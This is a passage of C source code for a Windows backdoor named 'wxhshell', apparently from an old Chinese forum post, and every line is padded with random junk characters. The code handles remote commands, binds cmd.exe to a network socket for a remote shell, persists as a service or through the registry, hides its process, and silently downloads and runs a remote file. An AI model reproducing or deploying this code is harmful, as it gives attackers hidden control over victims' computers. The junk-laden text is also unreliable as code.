  } xQ-<WF1i  
  else { *xxx:*6rk;  
KE5kOU;  
    switch(cmd[0]) { q]ku5A\y  
  kW Ml  
  // 帮助 EReZkvseC  
  case '?': { x_N'TjS^{  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); (l~AV9!m:  
    break; RUnSCOdX  
  } _?m(V=z>  
  // 安装 Eex~xiiV  
  case 'i': { x:NY\._  
    if(Install()) 0WW2i{7`U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _~l5u8{^6  
    else WdH$JTk1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;>EM[u  
    break; >=I|xY,  
    } #4Rx]zW^%  
  // 卸载 TCwFPlF|  
  case 'r': { o4F2%0gJ  
    if(Uninstall()) +s,=lL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3=P]x ;[ba  
    else VK\X&Y3l  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ar!R|zmf  
    break; !21FR*  
    } %op**@4/t\  
  // 显示 wxhshell 所在路径 Db}j?ik/  
  case 'p': { ah4N|zJ>v  
    char svExeFile[MAX_PATH]; r"3=44St  
    strcpy(svExeFile,"\n\r"); ~zJbK. _  
      strcat(svExeFile,ExeFile); c \J:![x  
        send(wsh,svExeFile,strlen(svExeFile),0); .nf#c.DI  
    break; J9--tJ?[>o  
    } ^+>laOzC`8  
  // 重启 Q2w_X8  
  case 'b': { b5dD/-Vj  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); X Swl Tg  
    if(Boot(REBOOT)) 7?!d^$B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #_ ;lf1x!  
    else { (?1y4M  
    closesocket(wsh); 4<w.8rR:A  
    ExitThread(0); }#RakV4  
    } b;B%q$sntC  
    break; 9IdA%RM~mH  
    } <y('hI'  
  // 关机 !OhC/f(GBZ  
  case 'd': { })H wh).  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); `!3SF|x&  
    if(Boot(SHUTDOWN)) _2Zx?<] 2E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); + /4A  
    else { e9Wa<i 8  
    closesocket(wsh); hlvK5Z   
    ExitThread(0); t9GR69v:?  
    } /Vx7mF:  
    break; :".ARCg  
    } X&.ArXn*  
  // 获取shell ;>U2|>5V  
  case 's': { WH#1 zv  
    CmdShell(wsh); ]!W=^!  
    closesocket(wsh); .FP$m?  
    ExitThread(0); b"<liGh"n-  
    break; k{R>  
  } Pf")e,u$  
  // 退出 Di,^%  
  case 'x': { XFVE>/H  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); p}}R-D&K  
    CloseIt(wsh); i<C*j4qQ  
    break; K(e$esLs-  
    } XAD- 'i  
  // 离开 nSDMOyj+  
  case 'q': { gMi0FO'  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); )J o: pkM  
    closesocket(wsh); kP=eW_0D  
    WSACleanup(); rK 8lBy:<  
    exit(1); RN1y^`  
    break; Y,qI@n<  
        } `z}?"BW|  
  } Ye%~I`@?  
  } ^)/0yB  
c8 )DuJ#U  
  // 提示信息 x;O[c3I  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &N$<e(K  
} R+hU8 pu  
  } do hA0  
%_H<:uGO%  
  return; (' (K9@}  
} 7uqzm  
"`/h#np  
// shell模块句柄 4!{KWL`A  
int CmdShell(SOCKET sock) ,C\i^>=  
{ s2p\]|5  
STARTUPINFO si; @-07F,'W,  
ZeroMemory(&si,sizeof(si)); *g"Nq+i@  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .D"m@~j7  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~Y[r`]X`"m  
PROCESS_INFORMATION ProcessInfo; Df-DRi  
char cmdline[]="cmd"; /obfw^  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); a@K%06A;'  
  return 0; JJ-( Sl  
} UkwP  
*}qWj_RT  
// 自身启动模式 .<0ye_S'y  
int StartFromService(void) 98c(<  
{ =`oCLsz=  
typedef struct )b L'[h  
{ 0@0w+&*"@  
  DWORD ExitStatus; 4&lv6`G `  
  DWORD PebBaseAddress; D(op)]8  
  DWORD AffinityMask; GRIti9GD  
  DWORD BasePriority; [T4J{y64Y  
  ULONG UniqueProcessId; )2KF}{  
  ULONG InheritedFromUniqueProcessId; 4HXo>0  
}   PROCESS_BASIC_INFORMATION; FBX'.\@`  
Wx%H%FeK  
PROCNTQSIP NtQueryInformationProcess; kOrZv,qFG[  
S/hQZHZHg,  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; {GT*ZU*  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; lWk>z; d  
bTNgjc  
  HANDLE             hProcess; +zN-!5x  
  PROCESS_BASIC_INFORMATION pbi;  M mj;-u  
nIf1sH>  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8mrUotjS  
  if(NULL == hInst ) return 0; 9 RgVK{F  
6dr%;Wp  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); PcMD])Z{G  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); y3Qsv  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ha<[b ue  
#powub  
  if (!NtQueryInformationProcess) return 0; e;q!6%  
J7$5s  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); =!A_^;NQf  
  if(!hProcess) return 0; %g$o/A$  
\A#41  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Q~]uC2Mw  
F`W?II?  
  CloseHandle(hProcess); c9 eM/*:  
Oc0a77@  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); U[-o> W#  
if(hProcess==NULL) return 0; i v38p%Zm  
:uS\3toj  
HMODULE hMod; =U9*'EFr  
char procName[255]; &vMb_;~B  
unsigned long cbNeeded; / &5,3rU.G  
r.&Vw|*>  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); [#vH'y  
#$07:UJ  
  CloseHandle(hProcess); B)g[3gQ  
!dnH 7 "  
if(strstr(procName,"services")) return 1; // 以服务启动 e\l7Iu  
Tn e4  
  return 0; // 注册表启动 qOtgve`jX  
} :6 R\OeH+  
`wEb<H  
// 主模块 20h, ^  
int StartWxhshell(LPSTR lpCmdLine) '3fu  
{ s?}e^/"v  
  SOCKET wsl; H[$"+&q  
BOOL val=TRUE; xwq (N_  
  int port=0; >uB# &Q  
  struct sockaddr_in door; ]y '>=a|T  
^A/k)x6  
  if(wscfg.ws_autoins) Install(); ` p-cSxR_  
%p=M;  
port=atoi(lpCmdLine); G `61~F%  
:Yh+>c}N  
if(port<=0) port=wscfg.ws_port; UKvWJnz  
xGg )Y#  
  WSADATA data; - %h.t+=U  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; :U%W%  
nh>vixe  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Y eo]]i{  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 'G4ICtHQ  
  door.sin_family = AF_INET; ^"2J]&x`G  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ASySiHz  
  door.sin_port = htons(port); *Kg ks4  
"?xHlYj@+  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { }2.`N%[  
closesocket(wsl); /nNN,hz  
return 1; J=I:CD%  
} Y"aJur=`  
nRS}}6Q  
  if(listen(wsl,2) == INVALID_SOCKET) { ?P`K7  
closesocket(wsl); a~}OZ&PG  
return 1; 1};Stai'  
} \&3+D8H>n  
  Wxhshell(wsl); zP8lN(LA  
  WSACleanup(); 5x4yyb'  
Id .nu/  
return 0; pJ"qu,w  
IueFx u  
} )23H1  
l'.VKh\C  
// 以NT服务方式启动 "(~^w=d:$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) cf20.F{<  
{ 7' V@+5  
DWORD   status = 0; u0c1:Uv#~e  
  DWORD   specificError = 0xfffffff; _op}1   
6iE<T&$3P  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 9IfmW^0  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ~KX/ Ai  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; q ^N7 I@Y  
  serviceStatus.dwWin32ExitCode     = 0; l4YJ c  
  serviceStatus.dwServiceSpecificExitCode = 0; {@{']Y  
  serviceStatus.dwCheckPoint       = 0; ~Otoqu|  
  serviceStatus.dwWaitHint       = 0; m nX2a  
:KP @RZm  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 6}Ci>_i4#  
  if (hServiceStatusHandle==0) return; ag[wdoj  
H=vUYz  
status = GetLastError(); `0gyr(fES  
  if (status!=NO_ERROR) nT$SfGFj8  
{ WO>nIo5Y  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; rcG"o\g@+  
    serviceStatus.dwCheckPoint       = 0; ,m|h<faZL  
    serviceStatus.dwWaitHint       = 0; h]}wp;Z  
    serviceStatus.dwWin32ExitCode     = status; g@!V3V  
    serviceStatus.dwServiceSpecificExitCode = specificError; plstZ,#j  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 08\, <9  
    return; KBc1{adDx@  
  } )g%d:xI  
`e&Suyf4B  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; G}raA%  
  serviceStatus.dwCheckPoint       = 0; Z0", !6nS  
  serviceStatus.dwWaitHint       = 0; R.1.)P[  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,<P vovg_  
} 21l;\W  
:J&oX <nF^  
// 处理NT服务事件,比如:启动、停止 z,p~z*4  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 0pd'93C  
{ 16(QR-  
switch(fdwControl) AH7}/Rc  
{ 7.j?U  
case SERVICE_CONTROL_STOP: Fq<A  
  serviceStatus.dwWin32ExitCode = 0; V&2l5v  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 2eY_%Y0  
  serviceStatus.dwCheckPoint   = 0; bwMm#f  
  serviceStatus.dwWaitHint     = 0; ~HsJUro  
  { N5 6g+,w%)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z=o2H Bm7  
  } 3bH'H*2  
  return; aeM+ d`f  
case SERVICE_CONTROL_PAUSE: :tg)p+KB  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ?GR"FmB(  
  break; ZKTz ,  
case SERVICE_CONTROL_CONTINUE: ;h  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ;dgp+  
  break; 7[XRd9a5(  
case SERVICE_CONTROL_INTERROGATE: =-n}[Y}A  
  break; :':s@gqr  
}; 9qzHS~l  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0 /U{p,r6`  
} Kis"L(C  
yWo; a  
// 标准应用程序主函数 I1M%J@Cz  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) '7 @zGk##(  
{ Lnl=.z`jK  
T:yE(OBf  
// 获取操作系统版本 Eo]xNn/g  
OsIsNt=GetOsVer(); v PG},m~-  
GetModuleFileName(NULL,ExeFile,MAX_PATH); hhc,uJ">!  
R-d:j^:f  
  // 从命令行安装 o]oum,Q  
  if(strpbrk(lpCmdLine,"iI")) Install(); ]&+s6{}  
3;]H1 1  
  // 下载执行文件 8'io$ 6d=  
if(wscfg.ws_downexe) { +VOK%8,p  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) BUXpC xQ  
  WinExec(wscfg.ws_filenam,SW_HIDE); JP [K;/  
} R!gEwTk  
LFRlzz;  
if(!OsIsNt) { y _k l:Ssa  
// 如果时win9x,隐藏进程并且设置为注册表启动 $B5aje}i  
HideProc(); tFOhL9T  
StartWxhshell(lpCmdLine); w+u3*/Zf  
} ; )@~  
else p6!x=cW  
  if(StartFromService()) sS'm!7*(3  
  // 以服务方式启动 VTY 5]|;  
  StartServiceCtrlDispatcher(DispatchTable); .Vvx,>>D  
else R(G7m@@{  
  // 普通方式启动 o`z]|G1''  
  StartWxhshell(lpCmdLine); ?J~_R1Z  
^o&. fQ*  
return 0; Z o(rTCZX  
}
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只看该作者 1 发表于: 2006-10-10
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